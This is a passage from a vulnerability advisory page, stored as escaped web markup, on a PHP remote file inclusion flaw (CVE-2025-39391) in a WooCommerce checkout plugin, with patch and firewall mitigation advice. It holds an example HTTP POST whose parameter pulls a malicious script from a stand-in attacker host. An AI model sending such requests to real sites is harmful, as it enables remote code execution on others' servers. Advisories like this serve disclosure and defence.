This vulnerability allows an attacker to remotely include files from external servers, which could lead to the execution of arbitrary PHP code on the server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-844553191\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>In a conceptual example, an attacker might exploit the vulnerability through an HTTP POST request like the following:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/checkout-field-visibility-for-woocommerce\/vulnerable.php HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\ninclude_file=http:\/\/attacker.example.com\/malicious_script.php<\/code><\/pre>\n<p>In this case, the attacker is attempting to include the file &#8216;malicious_script.php&#8217; from their own server. If successful, the server would then execute the malicious PHP code contained in this file.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>Users are strongly advised to apply the latest patch from the vendor as soon as possible. Until the patch can be applied, a web application firewall (WAF) or intrusion detection system (IDS) could be used as temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability, identified as CVE-2025-39391, pertains to an Improper Control of Filename for Include\/Require Statement in PHP Program (&#8216;PHP Remote File Inclusion&#8217;) vulnerability in the Checkout Field Visibility for WooCommerce plugin.
